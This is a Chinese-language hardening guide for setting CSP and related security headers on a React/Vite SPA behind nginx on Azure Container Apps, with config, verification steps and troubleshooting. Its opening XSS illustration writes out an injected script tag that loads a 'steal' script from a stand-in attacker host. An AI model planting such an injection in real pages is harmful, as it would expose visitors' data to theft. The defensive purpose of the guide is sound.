適用情境:React / Vite 前端 + 任意後端 + Azure Container Apps + nginx 反向代理
一、什麼是 CSP?
Content Security Policy(CSP)是一組 HTTP 回應標頭,讓瀏覽器知道「這個頁面可以載入哪些來源的資源」。它是防禦 Cross-Site Scripting(XSS)與資料注入攻擊的第二道防線。
一旦瀏覽器收到 CSP,即使攻擊者成功注入惡意 <script>,瀏覽器也會拒絕執行——因為注入的腳本不符合 CSP 白名單。
CSP 補足了什麼?
[沒有 CSP]
攻擊者注入 <script src="https://evil.com/steal.js"> → 瀏覽器直接執行 ✗
[有 CSP: script-src 'self']
攻擊者注入 <script src="https://evil.com/steal.js"> → 瀏覽器拒絕執行 ✓
二、Azure 環境的架構選擇
在 Azure 上,安全標頭可以加在三個層次:
Internet
│
▼
Azure Application Gateway (WAF)
│ ← 可在此加 HTTP Response Header Rewrite Rules
▼
Azure Container Apps (nginx)
│ ← 可在此加 add_header
▼
Go 後端 (middleware)
│ ← 可在此加 w.Header().Set(...)
各層優缺比較
| 層次 | 優點 | 缺點 |
|---|---|---|
| Application Gateway | 集中管理,不用動 code | 需手動設定 Rewrite Rules,費用較高;Header Rewrite 為付費功能(WAF_v2 SKU) |
| nginx(Container 內) | Infrastructure as Code,版控於 Dockerfile/config | 需要 redeploy container |
| Go middleware | 程式碼層級,可針對路由控制 | 業務邏輯與安全邏輯混用;API 不需 CSP |
建議
對 SPA 網站來說,nginx 是最合適的地方,原因:
- SPA 的安全標頭只需要加在 HTML 頁面回應,不需要加在 API 回應
- nginx 已作為 SPA 的靜態資源伺服器,天然邊界清晰
- 設定檔進版控,可 review、可追蹤
如果日後 Application Gateway 有設定 Header Rewrite,要記得移除 nginx 這邊的設定,避免同一個 header 重複出現(瀏覽器會套用第一個,但會造成混淆)。
三、為 React + Vite SPA 設計 CSP
分析資源來源
在設計 CSP 之前,先盤點頁面實際載入的所有資源:
| 資源類型 | 來源 | 指令 |
|---|---|---|
| JavaScript | self-hosted(Vite 打包) | script-src 'self' |
| CSS | self-hosted(PostCSS 打包) | style-src 'self' |
| 字型 | self-hosted(@fontsource-variable/geist) | font-src 'self' |
| 圖片 | self-hosted;少數可能 data URI | img-src 'self' data: |
| API 呼叫 | same-origin(nginx proxy 到後端) | connect-src 'self' |
| iframe | 無 | frame-src 'none' |
Mantine UI 的特殊考量
Mantine(React UI library)會透過 MantineProvider 在 DOM 注入一個 <style> 標籤,內容是 CSS 自訂屬性(design token):
<style>
:root {
--mantine-color-blue-9: #1971c2;
--mantine-font-size-md: 1rem;
/* ... */
}
</style>
這個 inline <style> 是 Mantine 的執行時行為,無法預先計算 hash(除非用 CSP nonce)。因此 style-src 需要加上 'unsafe-inline'。
這樣安全嗎? 相對安全。
style-src 'unsafe-inline'的攻擊面遠小於script-src 'unsafe-inline'- CSS 注入最多能做到 UI 欺騙或 timing attack,無法直接竊取 cookie 或執行任意程式碼
- 重點是
script-src 'self'嚴格設定,不允許 inline script 或外部 script
完整 CSP 設計
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-src 'none';
frame-ancestors 'none';
form-action 'self';
base-uri 'self';
object-src 'none'
其他安全標頭
除了 CSP,建議同時加上這些標頭:
| Header | 值 | 用途 |
|---|---|---|
X-Content-Type-Options | nosniff | 防止瀏覽器做 MIME 嗅探(把 HTML 當 JS 執行) |
X-Frame-Options | DENY | 防 clickjacking(CSP frame-ancestors 的舊瀏覽器 fallback) |
Referrer-Policy | strict-origin-when-cross-origin | 跨站請求不洩露完整 URL path |
Permissions-Policy | camera=(), microphone=(), geolocation=() | 明確關閉不需要的 browser API |
四、nginx.conf.template 實作
在 nginx server block 層級(非個別 location 內)加上 add_header ... always:
server {
listen 80;
server_name _;
root /usr/share/nginx/html;
index index.html;
# Security headers
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-src 'none'; frame-ancestors 'none'; form-action 'self'; base-uri 'self'; object-src 'none'" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
# ... 其他設定
}
always參數:確保即使後端回傳 4xx/5xx,nginx 也會加上這些 headers。沒有always的話,錯誤頁面會沒有安全標頭。
要注意的地方
- 不要加在
/api/proxy location 裡:API 回應不需要 CSP,加了反而讓前端 XHR 請求帶著多餘 header。 - 避免重複設定:如果 Application Gateway 已設定 Header Rewrite,nginx 這邊要移除,否則 header 會出現兩次(部分瀏覽器行為不一致)。
- HTTPS only 部署才需要 HSTS:
Strict-Transport-Security只有在全站 HTTPS 時才加;如果有任何 HTTP 存取路徑,HSTS 會造成無法回頭。
五、上線前驗證
本地驗證
部署後使用 curl 確認標頭存在:
curl -I https://your-app.example.com/ | grep -i "content-security\|x-frame\|x-content\|referrer\|permissions"
瀏覽器 DevTools
- 開 DevTools → Network → 選
index.html請求 - 查看 Response Headers,確認五個安全標頭都在
- 開 Console,確認沒有 CSP violation 錯誤(
Refused to load ...)
線上掃描工具
- Mozilla Observatory — 綜合安全標頭評分
- SecurityHeaders.com — 詳細標頭分析
- CSP Evaluator(Google) — 評估 CSP 強度
六、常見陷阱與排查
問題:Mantine 樣式全部消失
原因:style-src 缺少 'unsafe-inline',Mantine 注入的 <style> block 被拒絕。
解法:加上 'unsafe-inline'。
問題:Console 出現 Refused to connect to 'http://...'
原因:connect-src 'self' 嚴格限制,可能有程式碼直接連外部 API(非透過 nginx proxy)。
解法:找出來源並調整,或暫時在 connect-src 白名單加入該 origin。
問題:OAuth redirect 失敗
原因:OAuth 流程是瀏覽器 window.location.href 跳轉(navigation),不是 form submit 也不是 XHR,CSP 的 form-action 和 connect-src 都不管這個。
結論:OAuth redirect 不受 CSP 影響,不需要特別處理。
問題:第三方 SSO(POST 到 /auth/sso/callback)失敗
原因:第三方 SSO 是由外部伺服器 redirect 瀏覽器 POST 到我們的 callback(form submit 跨站)。
確認:這是第三方 SSO 頁面的 form-action,不是我們這邊的 CSP 設定問題。CSP 加在我們頁面的回應,不影響來自其他頁面的 form submit。
七、結論
對於 Azure 上的 React SPA:
- 現在就可以加:資源全 self-hosted + 無 inline script,加 CSP 的風險很低
- 加在 nginx:比 Application Gateway 更容易維護,可版控,redeploy 即生效
- 接受
style-src 'unsafe-inline':這是 Mantine 的現實限制,不影響最重要的 script XSS 防護 - 配套加其他標頭:
X-Content-Type-Options、X-Frame-Options、Referrer-Policy、Permissions-Policy是低成本高效益的防護 - 上線後立刻掃描:用 Mozilla Observatory 驗證,確認等級達到 B 或以上
場景:Azure Container Apps 上的 React SPA 安全加固